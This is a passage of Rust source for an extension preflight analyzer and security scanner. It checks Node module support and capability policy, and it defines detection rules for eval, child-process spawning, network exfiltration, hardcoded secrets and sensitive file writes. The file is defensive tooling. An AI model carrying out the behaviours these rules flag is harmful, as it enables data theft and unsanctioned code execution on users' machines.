1use std::collections::BTreeMap;
14use std::fmt::{self, Write};
15use std::path::Path;
16
17use serde::{Deserialize, Serialize};
18
19use crate::extensions::{CompatibilityScanner, ExtensionPolicy, PolicyDecision};
20
21#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
27#[serde(rename_all = "snake_case")]
28pub enum ModuleSupport {
29 Real,
31 Partial,
33 Stub,
35 ErrorThrow,
37 Missing,
39}
40
41impl ModuleSupport {
42 #[must_use]
44 pub const fn severity(self) -> FindingSeverity {
45 match self {
46 Self::Real => FindingSeverity::Info,
47 Self::Partial | Self::Stub => FindingSeverity::Warning,
48 Self::ErrorThrow | Self::Missing => FindingSeverity::Error,
49 }
50 }
51
52 #[must_use]
54 pub const fn label(self) -> &'static str {
55 match self {
56 Self::Real => "fully supported",
57 Self::Partial => "partially supported",
58 Self::Stub => "stub only",
59 Self::ErrorThrow => "throws on import",
60 Self::Missing => "not available",
61 }
62 }
63}
64
65impl fmt::Display for ModuleSupport {
66 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
67 f.write_str(self.label())
68 }
69}
70
71#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Serialize, Deserialize)]
77#[serde(rename_all = "snake_case")]
78pub enum FindingSeverity {
79 Info,
81 Warning,
83 Error,
85}
86
87impl fmt::Display for FindingSeverity {
88 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
89 match self {
90 Self::Info => f.write_str("info"),
91 Self::Warning => f.write_str("warning"),
92 Self::Error => f.write_str("error"),
93 }
94 }
95}
96
97#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
99#[serde(rename_all = "snake_case")]
100pub enum FindingCategory {
101 AnalysisInput,
103 ModuleCompat,
105 CapabilityPolicy,
107 ForbiddenPattern,
109 FlaggedPattern,
111}
112
113impl fmt::Display for FindingCategory {
114 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
115 match self {
116 Self::AnalysisInput => f.write_str("analysis_input"),
117 Self::ModuleCompat => f.write_str("module_compat"),
118 Self::CapabilityPolicy => f.write_str("capability_policy"),
119 Self::ForbiddenPattern => f.write_str("forbidden_pattern"),
120 Self::FlaggedPattern => f.write_str("flagged_pattern"),
121 }
122 }
123}
124
125#[derive(Debug, Clone, Serialize, Deserialize)]
131pub struct PreflightFinding {
132 pub severity: FindingSeverity,
133 pub category: FindingCategory,
134 pub message: String,
136 #[serde(default, skip_serializing_if = "Option::is_none")]
138 pub remediation: Option<String>,
139 #[serde(default, skip_serializing_if = "Option::is_none")]
141 pub file: Option<String>,
142 #[serde(default, skip_serializing_if = "Option::is_none")]
143 pub line: Option<usize>,
144}
145
146#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
152#[serde(rename_all = "snake_case")]
153pub enum PreflightVerdict {
154 Pass,
156 Warn,
158 Fail,
160}
161
162impl fmt::Display for PreflightVerdict {
163 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
164 match self {
165 Self::Pass => f.write_str("PASS"),
166 Self::Warn => f.write_str("WARN"),
167 Self::Fail => f.write_str("FAIL"),
168 }
169 }
170}
171
172#[derive(Debug, Clone, Serialize, Deserialize)]
178pub struct PreflightReport {
179 pub schema: String,
180 pub extension_id: String,
181 pub verdict: PreflightVerdict,
182 pub confidence: ConfidenceScore,
183 pub risk_banner: String,
184 pub findings: Vec<PreflightFinding>,
185 pub summary: PreflightSummary,
186}
187
188#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
195pub struct ConfidenceScore(pub u8);
196
197impl ConfidenceScore {
198 #[must_use]
200 pub fn from_counts(errors: usize, warnings: usize) -> Self {
201 let penalty = errors
202 .saturating_mul(25)
203 .saturating_add(warnings.saturating_mul(10));
204 let score = 100_usize.saturating_sub(penalty);
205 Self(u8::try_from(score.min(100)).unwrap_or(0))
206 }
207
208 #[must_use]
210 pub const fn value(self) -> u8 {
211 self.0
212 }
213
214 #[must_use]
216 pub const fn label(self) -> &'static str {
217 match self.0 {
218 90..=100 => "High",
219 60..=89 => "Medium",
220 30..=59 => "Low",
221 _ => "Very Low",
222 }
223 }
224}
225
226impl fmt::Display for ConfidenceScore {
227 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
228 write!(f, "{}% ({})", self.0, self.label())
229 }
230}
231
232#[derive(Debug, Clone, Default, Serialize, Deserialize)]
234pub struct PreflightSummary {
235 pub errors: usize,
236 pub warnings: usize,
237 pub info: usize,
238}
239
240pub const PREFLIGHT_SCHEMA: &str = "pi.ext.preflight.v1";
241
242impl PreflightReport {
243 #[must_use]
245 pub fn from_findings(extension_id: String, findings: Vec<PreflightFinding>) -> Self {
246 let mut summary = PreflightSummary::default();
247 for f in &findings {
248 match f.severity {
249 FindingSeverity::Error => summary.errors += 1,
250 FindingSeverity::Warning => summary.warnings += 1,
251 FindingSeverity::Info => summary.info += 1,
252 }
253 }
254
255 let verdict = if summary.errors > 0 {
256 PreflightVerdict::Fail
257 } else if summary.warnings > 0 {
258 PreflightVerdict::Warn
259 } else {
260 PreflightVerdict::Pass
261 };
262
263 let confidence = ConfidenceScore::from_counts(summary.errors, summary.warnings);
264 let risk_banner = risk_banner_text(verdict, confidence, &summary);
265
266 Self {
267 schema: PREFLIGHT_SCHEMA.to_string(),
268 extension_id,
269 verdict,
270 confidence,
271 risk_banner,
272 findings,
273 summary,
274 }
275 }
276
277 #[must_use]
279 pub fn render_markdown(&self) -> String {
280 let mut out = String::new();
281 let _ = write!(
282 out,
283 "# Preflight Report: {}\n\n**Verdict**: {} | **Confidence**: {}\n\n",
284 self.extension_id, self.verdict, self.confidence
285 );
286 let _ = writeln!(out, "> {}\n", self.risk_banner);
287 let _ = write!(
288 out,
289 "| Errors | Warnings | Info |\n|--------|----------|------|\n| {} | {} | {} |\n\n",
290 self.summary.errors, self.summary.warnings, self.summary.info
291 );
292
293 if self.findings.is_empty() {
294 out.push_str("No issues found. Extension is expected to work.\n");
295 return out;
296 }
297
298 out.push_str("## Findings\n\n");
299 for (i, f) in self.findings.iter().enumerate() {
300 let icon = match f.severity {
301 FindingSeverity::Error => "x",
302 FindingSeverity::Warning => "!",
303 FindingSeverity::Info => "i",
304 };
305 let _ = writeln!(
306 out,
307 "{}. [{}] **{}**: {}",
308 i + 1,
309 icon,
310 f.category,
311 f.message
312 );
313 if let Some(loc) = &f.file {
314 if let Some(line) = f.line {
315 let _ = writeln!(out, " Location: {loc}:{line}");
316 } else {
317 let _ = writeln!(out, " Location: {loc}");
318 }
319 }
320 if let Some(rem) = &f.remediation {
321 let _ = writeln!(out, " Remediation: {rem}");
322 }
323 out.push('\n');
324 }
325
326 out
327 }
328
329 pub fn to_json(&self) -> Result<String, serde_json::Error> {
335 serde_json::to_string_pretty(self)
336 }
337}
338
339#[must_use]
346#[allow(clippy::match_same_arms)]
347pub fn known_module_support(specifier: &str) -> Option<ModuleSupport> {
348 let normalized = specifier.strip_prefix("node:").unwrap_or(specifier);
349
350 let module_root = normalized.split('/').next().unwrap_or(normalized);
352
353 match module_root {
354 "path" | "os" => Some(ModuleSupport::Real),
356 "fs" => {
357 if normalized == "fs/promises" {
359 Some(ModuleSupport::Partial)
360 } else {
361 Some(ModuleSupport::Real)
362 }
363 }
364 "child_process" => Some(ModuleSupport::Real),
365
366 "url" | "util" | "events" | "stream" | "buffer" | "querystring" | "string_decoder"
368 | "timers" => Some(ModuleSupport::Real),
369
370 "crypto" => Some(ModuleSupport::Partial),
372 "readline" | "test" => Some(ModuleSupport::Partial),
373 "http" | "https" => Some(ModuleSupport::Partial),
374
375 "zlib"
377 | "tty"
378 | "assert"
379 | "http2"
380 | "net"
381 | "vm"
382 | "v8"
383 | "perf_hooks"
384 | "worker_threads"
385 | "diagnostics_channel"
386 | "async_hooks" => Some(ModuleSupport::Stub),
387
388 "dgram" | "dns" | "tls" | "cluster" => Some(ModuleSupport::ErrorThrow),
390
391 "@sinclair/typebox" | "zod" => Some(ModuleSupport::Real),
393
394 "glob" => Some(ModuleSupport::Partial),
396
397 "chokidar" | "jsdom" | "turndown" | "beautiful-mermaid" | "node-pty" | "ws" | "axios" => {
399 Some(ModuleSupport::Stub)
400 }
401
402 "@modelcontextprotocol" => Some(ModuleSupport::Stub),
404
405 "@mariozechner" => Some(ModuleSupport::Partial),
407
408 "@opentelemetry" => Some(ModuleSupport::Stub),
410
411 _ => None,
412 }
413}
414
415#[must_use]
417pub fn module_remediation(specifier: &str, support: ModuleSupport) -> Option<String> {
418 let normalized = specifier.strip_prefix("node:").unwrap_or(specifier);
419 let module_root = normalized.split('/').next().unwrap_or(normalized);
420
421 match (module_root, support) {
422 (_, ModuleSupport::Real) => None,
423 ("fs", ModuleSupport::Partial) => Some(
424 "fs/promises has partial coverage. Use synchronous fs APIs (existsSync, readFileSync, writeFileSync) for best compatibility.".to_string()
425 ),
426 ("crypto", ModuleSupport::Partial) => Some(
427 "Only createHash, randomBytes, and randomUUID are available. For other crypto ops, consider using the Web Crypto API.".to_string()
428 ),
429 ("readline", ModuleSupport::Partial | ModuleSupport::Stub) => Some(
430 "Readline uses pi.ui('input') when UI is available; otherwise prompts return empty strings. readline/promises mirrors this behavior.".to_string()
431 ),
432 ("test", ModuleSupport::Partial) => Some(
433 "node:test includes a minimal runner (test/describe/it + hooks + run). Reporters, snapshots, and concurrency controls are not supported.".to_string()
434 ),
435 ("http" | "https", ModuleSupport::Partial) => Some(
436 "HTTP client functionality is available via fetch(). HTTP server functionality is not supported.".to_string()
437 ),
438 ("http2", ModuleSupport::Stub) => Some(
439 "node:http2 is stubbed; use fetch() for client requests instead.".to_string()
440 ),
441 ("net", ModuleSupport::Stub | ModuleSupport::Partial) => Some(
442 "Raw TCP sockets are stubbed (no network I/O). Use fetch() for HTTP or the pi.http hostcall for network requests.".to_string()
443 ),
444 ("tls", ModuleSupport::ErrorThrow) => Some(
445 "TLS sockets are not available. Use fetch() with HTTPS URLs instead.".to_string()
446 ),
447 ("dns", ModuleSupport::ErrorThrow) => Some(
448 "DNS resolution is not available. Use fetch() which handles DNS internally.".to_string()
449 ),
450 ("dgram" | "cluster", ModuleSupport::ErrorThrow) => Some(
451 format!("The `{module_root}` module is not supported in the extension runtime.")
452 ),
453 ("chokidar", _) => Some(
454 "File watching is not supported. Consider polling with fs.existsSync or using event hooks instead.".to_string()
455 ),
456 ("jsdom", _) => Some(
457 "DOM parsing is not available. Consider extracting text content without DOM manipulation.".to_string()
458 ),
459 ("ws", _) => Some(
460 "WebSocket support is not available. Use fetch() for HTTP-based communication.".to_string()
461 ),
462 ("node-pty", _) => Some(
463 "PTY support is not available. Use pi.exec() hostcall for command execution.".to_string()
464 ),
465 (_, ModuleSupport::Missing) => Some(
466 format!("Module `{normalized}` is not available. Check if there is an alternative API in the pi extension SDK.")
467 ),
468 (_, ModuleSupport::Stub) => Some(
469 format!("Module `{normalized}` is a stub — it loads without error but provides no real functionality.")
470 ),
471 _ => None,
472 }
473}
474
475pub struct PreflightAnalyzer<'a> {
481 policy: &'a ExtensionPolicy,
482 extension_id: Option<&'a str>,
483}
484
485impl<'a> PreflightAnalyzer<'a> {
486 #[must_use]
488 pub const fn new(policy: &'a ExtensionPolicy, extension_id: Option<&'a str>) -> Self {
489 Self {
490 policy,
491 extension_id,
492 }
493 }
494
495 pub fn analyze(&self, path: &Path) -> PreflightReport {
499 let ext_id = self
500 .extension_id
501 .map(str::to_string)
502 .or_else(|| {
503 path.file_name()
504 .and_then(|name| name.to_str())
505 .map(str::to_string)
506 })
507 .unwrap_or_else(|| "unknown".to_string());
508
509 if !path.exists() {
510 return PreflightReport::from_findings(
511 ext_id,
512 vec![PreflightFinding {
513 severity: FindingSeverity::Error,
514 category: FindingCategory::AnalysisInput,
515 message: format!("Extension path does not exist: {}", path.display()),
516 remediation: Some(
517 "Verify the extension path exists and points to a readable file or directory."
518 .to_string(),
519 ),
520 file: Some(path.display().to_string()),
521 line: None,
522 }],
523 );
524 }
525
526 let scanner = CompatibilityScanner::new(path.to_path_buf());
527 let ledger = match scanner.scan_path(path) {
528 Ok(ledger) => ledger,
529 Err(err) => {
530 return PreflightReport::from_findings(
531 ext_id,
532 vec![PreflightFinding {
533 severity: FindingSeverity::Error,
534 category: FindingCategory::AnalysisInput,
535 message: format!(
536 "Failed to scan extension source at {}: {err}",
537 path.display()
538 ),
539 remediation: Some(
540 "Verify the extension files are readable and retry the preflight check."
541 .to_string(),
542 ),
543 file: Some(path.display().to_string()),
544 line: None,
545 }],
546 );
547 }
548 };
549
550 let mut findings = Vec::new();
551
552 Self::check_module_findings(&ledger, &mut findings);
554
555 self.check_capability_findings(&ledger, &mut findings);
557
558 Self::check_forbidden_findings(&ledger, &mut findings);
560
561 Self::check_flagged_findings(&ledger, &mut findings);
563
564 findings.sort_by_key(|finding| std::cmp::Reverse(finding.severity));
566
567 PreflightReport::from_findings(ext_id, findings)
568 }
569
570 #[must_use]
572 pub fn analyze_source(&self, extension_id: &str, source: &str) -> PreflightReport {
573 let mut findings = Vec::new();
574
575 let mut module_imports: BTreeMap<String, Vec<usize>> = BTreeMap::new();
577 for (idx, line) in source.lines().enumerate() {
578 let line_no = idx + 1;
579 for specifier in extract_import_specifiers_simple(line) {
580 module_imports.entry(specifier).or_default().push(line_no);
581 }
582 }
583
584 for (specifier, lines) in &module_imports {
586 if let Some(support) = known_module_support(specifier) {
587 let severity = support.severity();
588 if severity > FindingSeverity::Info {
589 let remediation = module_remediation(specifier, support);
590 findings.push(PreflightFinding {
591 severity,
592 category: FindingCategory::ModuleCompat,
593 message: format!("Module `{specifier}` is {support}"),
594 remediation,
595 file: None,
596 line: lines.first().copied(),
597 });
598 }
599 }
600 }
601
602 let mut caps_seen: BTreeMap<String, usize> = BTreeMap::new();
604 for (idx, line) in source.lines().enumerate() {
605 let line_no = idx + 1;
606 if line.contains("process.env") && !caps_seen.contains_key("env") {
607 caps_seen.insert("env".to_string(), line_no);
608 }
609 if (line.contains("pi.exec") || line.contains("child_process"))
610 && !caps_seen.contains_key("exec")
611 {
612 caps_seen.insert("exec".to_string(), line_no);
613 }
614 }
615
616 for (cap, line_no) in &caps_seen {
617 let check = self.policy.evaluate_for(cap, self.extension_id);
618 match check.decision {
619 PolicyDecision::Deny => {
620 findings.push(PreflightFinding {
621 severity: FindingSeverity::Error,
622 category: FindingCategory::CapabilityPolicy,
623 message: format!(
624 "Capability `{cap}` is denied by policy (reason: {})",
625 check.reason
626 ),
627 remediation: Some(capability_remediation(cap)),
628 file: None,
629 line: Some(*line_no),
630 });
631 }
632 PolicyDecision::Prompt => {
633 findings.push(PreflightFinding {
634 severity: FindingSeverity::Warning,
635 category: FindingCategory::CapabilityPolicy,
636 message: format!(
637 "Capability `{cap}` will require user confirmation"
638 ),
639 remediation: Some(format!(
640 "To allow without prompting, add `{cap}` to default_caps in your extension policy config."
641 )),
642 file: None,
643 line: Some(*line_no),
644 });
645 }
646 PolicyDecision::Allow => {}
647 }
648 }
649
650 findings.sort_by_key(|finding| std::cmp::Reverse(finding.severity));
652
653 PreflightReport::from_findings(extension_id.to_string(), findings)
654 }
655
656 fn check_module_findings(
657 ledger: &crate::extensions::CompatLedger,
658 findings: &mut Vec<PreflightFinding>,
659 ) {
660 let mut seen_modules: BTreeMap<String, Option<(String, usize)>> = BTreeMap::new();
662
663 for rw in &ledger.rewrites {
665 seen_modules
666 .entry(rw.from.clone())
667 .or_insert_with(|| rw.evidence.first().map(|e| (e.file.clone(), e.line)));
668 }
669
670 for fl in &ledger.flagged {
672 if fl.rule == "unsupported_import" {
673 if let Some(spec) = extract_specifier_from_message(&fl.message) {
675 seen_modules
676 .entry(spec)
677 .or_insert_with(|| fl.evidence.first().map(|e| (e.file.clone(), e.line)));
678 }
679 }
680 }
681
682 for (specifier, loc) in &seen_modules {
683 if let Some(support) = known_module_support(specifier) {
684 let severity = support.severity();
685 if severity > FindingSeverity::Info {
686 let remediation = module_remediation(specifier, support);
687 let (file, line) = loc
688 .as_ref()
689 .map_or((None, None), |(f, l)| (Some(f.clone()), Some(*l)));
690 findings.push(PreflightFinding {
691 severity,
692 category: FindingCategory::ModuleCompat,
693 message: format!("Module `{specifier}` is {support}"),
694 remediation,
695 file,
696 line,
697 });
698 }
699 }
700 }
701 }
702
703 fn check_capability_findings(
704 &self,
705 ledger: &crate::extensions::CompatLedger,
706 findings: &mut Vec<PreflightFinding>,
707 ) {
708 let mut seen: BTreeMap<String, (String, usize)> = BTreeMap::new();
710
711 for cap_ev in &ledger.capabilities {
712 if !seen.contains_key(&cap_ev.capability) {
713 let loc = cap_ev
714 .evidence
715 .first()
716 .map(|e| (e.file.clone(), e.line))
717 .unwrap_or_default();
718 seen.insert(cap_ev.capability.clone(), loc);
719 }
720 }
721
722 for (cap, (file, line)) in &seen {
723 let check = self.policy.evaluate_for(cap, self.extension_id);
724 let file = (!file.is_empty()).then(|| file.clone());
725 let line = (*line > 0).then_some(*line);
726 match check.decision {
727 PolicyDecision::Deny => {
728 findings.push(PreflightFinding {
729 severity: FindingSeverity::Error,
730 category: FindingCategory::CapabilityPolicy,
731 message: format!(
732 "Capability `{cap}` is denied by policy (reason: {})",
733 check.reason
734 ),
735 remediation: Some(capability_remediation(cap)),
736 file,
737 line,
738 });
739 }
740 PolicyDecision::Prompt => {
741 findings.push(PreflightFinding {
742 severity: FindingSeverity::Warning,
743 category: FindingCategory::CapabilityPolicy,
744 message: format!(
745 "Capability `{cap}` will require user confirmation"
746 ),
747 remediation: Some(format!(
748 "To allow without prompting, add `{cap}` to default_caps in your extension policy config."
749 )),
750 file,
751 line,
752 });
753 }
754 PolicyDecision::Allow => {}
755 }
756 }
757 }
758
759 fn check_forbidden_findings(
760 ledger: &crate::extensions::CompatLedger,
761 findings: &mut Vec<PreflightFinding>,
762 ) {
763 for fb in &ledger.forbidden {
764 let loc = fb.evidence.first();
765 findings.push(PreflightFinding {
766 severity: FindingSeverity::Error,
767 category: FindingCategory::ForbiddenPattern,
768 message: fb.message.clone(),
769 remediation: fb.remediation.clone(),
770 file: loc.map(|e| e.file.clone()),
771 line: loc.map(|e| e.line),
772 });
773 }
774 }
775
776 fn check_flagged_findings(
777 ledger: &crate::extensions::CompatLedger,
778 findings: &mut Vec<PreflightFinding>,
779 ) {
780 for fl in &ledger.flagged {
781 if fl.rule == "unsupported_import" {
783 continue;
784 }
785 let loc = fl.evidence.first();
786 findings.push(PreflightFinding {
787 severity: FindingSeverity::Warning,
788 category: FindingCategory::FlaggedPattern,
789 message: fl.message.clone(),
790 remediation: fl.remediation.clone(),
791 file: loc.map(|e| e.file.clone()),
792 line: loc.map(|e| e.line),
793 });
794 }
795 }
796}
797
798fn risk_banner_text(
804 verdict: PreflightVerdict,
805 confidence: ConfidenceScore,
806 summary: &PreflightSummary,
807) -> String {
808 match verdict {
809 PreflightVerdict::Pass => format!("Extension is compatible (confidence: {confidence})"),
810 PreflightVerdict::Warn => format!(
811 "Extension may have issues: {} warning(s) (confidence: {confidence})",
812 summary.warnings
813 ),
814 PreflightVerdict::Fail => format!(
815 "Extension is likely incompatible: {} error(s), {} warning(s) (confidence: {confidence})",
816 summary.errors, summary.warnings
817 ),
818 }
819}
820
821fn extract_specifier_from_message(msg: &str) -> Option<String> {
824 let start = msg.find('`')?;
825 let end = msg[start + 1..].find('`')?;
826 Some(msg[start + 1..start + 1 + end].to_string())
827}
828
829fn extract_import_specifiers_simple(line: &str) -> Vec<String> {
832 let mut specs = Vec::new();
833 let trimmed = line.trim();
834
835 if trimmed.starts_with("import ") || trimmed.starts_with("export ") {
837 if let Some(from_idx) = trimmed.find(" from ") {
838 let rest = &trimmed[from_idx + 6..];
839 if let Some(spec) = extract_quoted_string(rest) {
840 if !spec.starts_with('.') && !spec.starts_with('/') {
841 specs.push(spec);
842 }
843 }
844 } else if let Some(rest) = trimmed.strip_prefix("import ") {
845 if let Some(spec) = extract_quoted_string(rest) {
847 if !spec.starts_with('.') && !spec.starts_with('/') {
848 specs.push(spec);
849 }
850 }
851 }
852 }
853
854 let mut search = trimmed;
856 while let Some(req_idx) = search.find("require(") {
857 let rest = &search[req_idx + 8..];
858 if let Some(spec) = extract_quoted_string(rest) {
859 if !spec.starts_with('.') && !spec.starts_with('/') {
860 specs.push(spec);
861 }
862 }
863 search = &search[req_idx + 8..];
864 }
865
866 specs
867}
868
869fn extract_quoted_string(text: &str) -> Option<String> {
871 let trimmed = text.trim();
872 let (quote, rest) = if let Some(rest) = trimmed.strip_prefix('"') {
873 ('"', rest)
874 } else if let Some(rest) = trimmed.strip_prefix('\'') {
875 ('\'', rest)
876 } else {
877 return None;
878 };
879
880 rest.find(quote).map(|end| rest[..end].to_string())
881}
882
883fn capability_remediation(cap: &str) -> String {
885 match cap {
886 "exec" => "To enable shell command execution, use `--allow-dangerous` CLI flag or set `allow_dangerous: true` in config. This grants access to exec and env capabilities.".to_string(),
887 "env" => "To enable environment variable access, use `--allow-dangerous` CLI flag or set `allow_dangerous: true` in config. Alternatively, add a per-extension override: `per_extension.\"<ext-id>\".allow = [\"env\"]`.".to_string(),
888 _ => format!("Add `{cap}` to `default_caps` in your extension policy configuration."),
889 }
890}
891
892pub const SECURITY_SCAN_SCHEMA: &str = "pi.ext.security_scan.v1";
899
900#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
904pub enum SecurityRuleId {
905 #[serde(rename = "SEC-EVAL-001")]
908 EvalUsage,
909 #[serde(rename = "SEC-FUNC-001")]
911 NewFunctionUsage,
912 #[serde(rename = "SEC-BIND-001")]
914 ProcessBinding,
915 #[serde(rename = "SEC-DLOPEN-001")]
917 ProcessDlopen,
918 #[serde(rename = "SEC-PROTO-001")]
920 ProtoPollution,
921 #[serde(rename = "SEC-RCACHE-001")]
923 RequireCacheManip,
924
925 #[serde(rename = "SEC-SECRET-001")]
928 HardcodedSecret,
929 #[serde(rename = "SEC-DIMPORT-001")]
931 DynamicImport,
932 #[serde(rename = "SEC-DEFPROP-001")]
934 DefinePropertyAbuse,
935 #[serde(rename = "SEC-EXFIL-001")]
937 NetworkExfiltration,
938 #[serde(rename = "SEC-FSSENS-001")]
940 SensitivePathWrite,
941
942 #[serde(rename = "SEC-ENV-001")]
945 ProcessEnvAccess,
946 #[serde(rename = "SEC-TIMER-001")]
948 TimerAbuse,
949 #[serde(rename = "SEC-PROXY-001")]
951 ProxyReflect,
952 #[serde(rename = "SEC-WITH-001")]
954 WithStatement,
955
956 #[serde(rename = "SEC-DEBUG-001")]
959 DebuggerStatement,
960 #[serde(rename = "SEC-CONSOLE-001")]
962 ConsoleInfoLeak,
963
964 #[serde(rename = "SEC-SPAWN-001")]
969 ChildProcessSpawn,
970 #[serde(rename = "SEC-CONSTRUCTOR-001")]
972 ConstructorEscape,
973 #[serde(rename = "SEC-NATIVEMOD-001")]
975 NativeModuleRequire,
976
977 #[serde(rename = "SEC-GLOBAL-001")]
980 GlobalMutation,
981 #[serde(rename = "SEC-SYMLINK-001")]
983 SymlinkCreation,
984 #[serde(rename = "SEC-CHMOD-001")]
986 PermissionChange,
987 #[serde(rename = "SEC-SOCKET-001")]
989 SocketListener,
990 #[serde(rename = "SEC-WASM-001")]
992 WebAssemblyUsage,
993
994 #[serde(rename = "SEC-ARGUMENTS-001")]
997 ArgumentsCallerAccess,
998 #[serde(rename = "SEC-SCAN-001")]
1000 ScanInputFailure,
1001}
1002
1003impl SecurityRuleId {
1004 #[must_use]
1006 pub const fn name(self) -> &'static str {
1007 match self {
1008 Self::EvalUsage => "eval-usage",
1009 Self::NewFunctionUsage => "new-function-usage",
1010 Self::ProcessBinding => "process-binding",
1011 Self::ProcessDlopen => "process-dlopen",
1012 Self::ProtoPollution => "proto-pollution",
1013 Self::RequireCacheManip => "require-cache-manipulation",
1014 Self::HardcodedSecret => "hardcoded-secret",
1015 Self::DynamicImport => "dynamic-import",
1016 Self::DefinePropertyAbuse => "define-property-abuse",
1017 Self::NetworkExfiltration => "network-exfiltration",
1018 Self::SensitivePathWrite => "sensitive-path-write",
1019 Self::ProcessEnvAccess => "process-env-access",
1020 Self::TimerAbuse => "timer-abuse",
1021 Self::ProxyReflect => "proxy-reflect",
1022 Self::WithStatement => "with-statement",
1023 Self::DebuggerStatement => "debugger-statement",
1024 Self::ConsoleInfoLeak => "console-info-leak",
1025 Self::ChildProcessSpawn => "child-process-spawn",
1026 Self::ConstructorEscape => "constructor-escape",
1027 Self::NativeModuleRequire => "native-module-require",
1028 Self::GlobalMutation => "global-mutation",
1029 Self::SymlinkCreation => "symlink-creation",
1030 Self::PermissionChange => "permission-change",
1031 Self::SocketListener => "socket-listener",
1032 Self::WebAssemblyUsage => "webassembly-usage",
1033 Self::ArgumentsCallerAccess => "arguments-caller-access",
1034 Self::ScanInputFailure => "scan-input-failure",
1035 }
1036 }
1037
1038 #[must_use]
1040 pub const fn default_tier(self) -> RiskTier {
1041 if matches!(
1042 self,
1043 Self::EvalUsage
1044 | Self::NewFunctionUsage
1045 | Self::ProcessBinding
1046 | Self::ProcessDlopen
1047 | Self::ProtoPollution
1048 | Self::RequireCacheManip
1049 | Self::ChildProcessSpawn
1050 | Self::ConstructorEscape
1051 | Self::NativeModuleRequire
1052 ) {
1053 RiskTier::Critical
1054 } else if matches!(
1055 self,
1056 Self::HardcodedSecret
1057 | Self::DynamicImport
1058 | Self::DefinePropertyAbuse
1059 | Self::NetworkExfiltration
1060 | Self::SensitivePathWrite
1061 | Self::GlobalMutation
1062 | Self::SymlinkCreation
1063 | Self::PermissionChange
1064 | Self::SocketListener
1065 | Self::WebAssemblyUsage
1066 ) {
1067 RiskTier::High
1068 } else if matches!(
1069 self,
1070 Self::ProcessEnvAccess
1071 | Self::TimerAbuse
1072 | Self::ProxyReflect
1073 | Self::WithStatement
1074 | Self::ArgumentsCallerAccess
1075 ) {
1076 RiskTier::Medium
1077 } else if matches!(self, Self::ScanInputFailure) {
1078 RiskTier::High
1079 } else {
1080 RiskTier::Low
1081 }
1082 }
1083}
1084
1085impl fmt::Display for SecurityRuleId {
1086 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
1087 f.write_str(self.name())
1088 }
1089}
1090
1091#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, Serialize, Deserialize)]
1094#[serde(rename_all = "snake_case")]
1095pub enum RiskTier {
1096 Critical,
1098 High,
1100 Medium,
1102 Low,
1104}
1105
1106impl fmt::Display for RiskTier {
1107 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
1108 match self {
1109 Self::Critical => f.write_str("critical"),
1110 Self::High => f.write_str("high"),
1111 Self::Medium => f.write_str("medium"),
1112 Self::Low => f.write_str("low"),
1113 }
1114 }
1115}
1116
1117#[derive(Debug, Clone, Serialize, Deserialize)]
1119pub struct SecurityFinding {
1120 pub rule_id: SecurityRuleId,
1122 pub risk_tier: RiskTier,
1125 pub rationale: String,
1127 #[serde(default, skip_serializing_if = "Option::is_none")]
1129 pub file: Option<String>,
1130 #[serde(default, skip_serializing_if = "Option::is_none")]
1132 pub line: Option<usize>,
1133 #[serde(default, skip_serializing_if = "Option::is_none")]
1135 pub column: Option<usize>,
1136 #[serde(default, skip_serializing_if = "Option::is_none")]
1138 pub snippet: Option<String>,
1139}
1140
1141#[derive(Debug, Clone, Serialize, Deserialize)]
1143pub struct SecurityScanReport {
1144 pub schema: String,
1146 pub extension_id: String,
1148 pub overall_tier: RiskTier,
1150 pub tier_counts: SecurityTierCounts,
1152 pub findings: Vec<SecurityFinding>,
1154 pub verdict: String,
1156 pub rulebook_version: String,
1158}
1159
1160#[derive(Debug, Clone, Default, Serialize, Deserialize)]
1162pub struct SecurityTierCounts {
1163 pub critical: usize,
1164 pub high: usize,
1165 pub medium: usize,
1166 pub low: usize,
1167}
1168
1169pub const SECURITY_RULEBOOK_VERSION: &str = "2.1.0";
1176
1177impl SecurityScanReport {
1178 #[must_use]
1185 pub fn from_findings(extension_id: String, mut findings: Vec<SecurityFinding>) -> Self {
1186 findings.sort_by(|a, b| {
1188 a.risk_tier
1189 .cmp(&b.risk_tier)
1190 .then_with(|| {
1191 a.file
1192 .as_deref()
1193 .unwrap_or("")
1194 .cmp(b.file.as_deref().unwrap_or(""))
1195 })
1196 .then_with(|| a.line.cmp(&b.line))
1197 .then_with(|| a.column.cmp(&b.column))
1198 .then_with(|| a.rule_id.name().cmp(b.rule_id.name()))
1199 });
1200
1201 let mut counts = SecurityTierCounts::default();
1202 for f in &findings {
1203 match f.risk_tier {
1204 RiskTier::Critical => counts.critical += 1,
1205 RiskTier::High => counts.high += 1,
1206 RiskTier::Medium => counts.medium += 1,
1207 RiskTier::Low => counts.low += 1,
1208 }
1209 }
1210
1211 let overall_tier = findings.first().map_or(RiskTier::Low, |f| f.risk_tier);
1212
1213 let verdict = match overall_tier {
1214 RiskTier::Critical => format!(
1215 "BLOCK: {} critical finding(s) — active exploit vectors detected",
1216 counts.critical
1217 ),
1218 RiskTier::High => format!(
1219 "REVIEW REQUIRED: {} high-risk finding(s) — likely dangerous patterns",
1220 counts.high
1221 ),
1222 RiskTier::Medium => format!(
1223 "CAUTION: {} medium-risk finding(s) — warrants review",
1224 counts.medium
1225 ),
1226 RiskTier::Low if findings.is_empty() => "CLEAN: no security findings".to_string(),
1227 RiskTier::Low => format!("INFO: {} low-risk finding(s) — informational", counts.low),
1228 };
1229
1230 Self {
1231 schema: SECURITY_SCAN_SCHEMA.to_string(),
1232 extension_id,
1233 overall_tier,
1234 tier_counts: counts,
1235 findings,
1236 verdict,
